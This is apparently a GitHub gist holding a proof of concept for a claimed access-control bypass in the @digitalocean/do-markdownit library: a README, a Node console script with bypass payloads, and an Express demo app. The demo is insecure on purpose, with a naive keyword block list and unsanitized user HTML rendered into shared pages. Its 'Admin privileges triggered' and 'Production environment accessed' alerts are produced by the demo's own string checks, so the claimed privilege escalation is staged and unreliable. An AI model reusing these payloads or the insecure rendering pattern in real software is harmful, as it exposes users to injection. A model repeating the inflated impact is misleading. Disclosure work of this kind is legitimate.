Skip to content

Instantly share code, notes, and snippets.

@thesmartshadow
Created September 4, 2025 01:42
Show Gist options
  • Select an option

  • Save thesmartshadow/dd19665f1f51a4e3c7a766e70c9eafd0 to your computer and use it in GitHub Desktop.

Select an option

Save thesmartshadow/dd19665f1f51a4e3c7a766e70c9eafd0 to your computer and use it in GitHub Desktop.
PoC for Incorrect Access Control in @digitalocean/do-markdownit (≤1.16.1) — includes console and web demo exploits.

PoC: Incorrect Access Control in @digitalocean/do-markdownit

Summary

This repository demonstrates an Incorrect Access Control vulnerability in the @digitalocean/do-markdownit library (≤ 1.16.1).

Both the callout and fence_environment plugins expect allowedClasses and allowedEnvironments to be arrays of strings. If mistakenly provided as a string, the library applies .includes directly, resulting in substring matching instead of exact array comparison.

This flaw allows attackers to bypass restrictions and inject unauthorized classes or environments, leading to Authorization Bypass and potential Privilege Escalation.


Files

  • poc1-console.js
    Minimal Node.js script that shows how bypass works in the console.

  • poc2-server.js
    Express web application demo that simulates a real-world environment with "User Posts", "Admin Messages", and "Environment Logs".


How to Run

1. Install dependencies

npm install express body-parser markdown-it @digitalocean/do-markdownit
/**
* PoC: Incorrect Access Control in @digitalocean/do-markdownit
* Author: Ali Firas - thesmartshadow
* Date: 2025-09-04
*/
const MarkdownIt = require("markdown-it");
const doMD = require("@digitalocean/do-markdownit");
// Misconfigured allow-lists: strings instead of arrays
const md = MarkdownIt().use(doMD, {
callout: { allowedClasses: "admin,info" },
fence_environment: { allowedEnvironments: "production,test" }
});
function log(title, input) {
console.log(`\n=== ${title} ===`);
console.log("Input:\n", input);
console.log("\nRendered Output:\n", md.render(input));
console.log("---------------------------------------------------");
}
// Test 1: Callout bypass
const calloutPayload = "<$>[in]\nBypassed admin restriction<$>";
log("Callout Bypass", calloutPayload);
// Test 2: Environment bypass
const envPayload = "```\n[environment pro]\nRunning in production!\n```";
log("Environment Bypass", envPayload);
/**
* PoC #2: Incorrect Access Control in @digitalocean/do-markdownit
* Type: Web Demo Application (Express)
* Author: Ali Firas - thesmartshadow
* Date: 2025-09-04
*/
const express = require("express");
const bodyParser = require("body-parser");
const MarkdownIt = require("markdown-it");
const doMD = require("@digitalocean/do-markdownit");
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
// Misconfigured allow-lists (strings instead of arrays)
const md = MarkdownIt().use(doMD, {
callout: { allowedClasses: "admin,info" },
fence_environment: { allowedEnvironments: "production,test" }
});
// Fake admin panels (for demonstration only)
let adminMessages = [];
let environmentLogs = [];
let posts = [];
// Input page
app.get("/", (req, res) => {
res.send(`
<h2>Markdown Editor (User Role)</h2>
<form method="POST">
<textarea name="markdown" rows="8" cols="70"></textarea><br>
<button type="submit">Publish</button>
</form>
<hr>
<h3>Published Posts:</h3>
${posts.map(p => `<div>${p}</div><hr>`).join("")}
<h3>Admin Messages:</h3>
<ul>${adminMessages.map(msg => `<li>${msg}</li>`).join("")}</ul>
<h3>Environment Logs:</h3>
<ul>${environmentLogs.map(log => `<li>${log}</li>`).join("")}</ul>
`);
});
// Handle Markdown input
app.post("/", (req, res) => {
const input = req.body.markdown || "";
// Naive protection: explicitly block "[admin]" and "[environment production]"
if (input.includes("[admin]") || input.includes("[environment production]")) {
return res.status(403).send("❌ You are not allowed to use admin or production.");
}
// Render Markdown
const output = md.render(input);
posts.push(output);
// Detect bypassed usage
if (input.includes("[in]")) {
adminMessages.push("⚠️ Admin privileges triggered (via bypass)!");
}
if (input.includes("[environment pro]")) {
environmentLogs.push("⚠️ Production environment accessed (via bypass)!");
}
res.redirect("/");
});
// Run server
app.listen(3000, () => {
console.log("PoC #2 running on http://localhost:3000");
console.log("Open http://localhost:3000 in your browser");
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment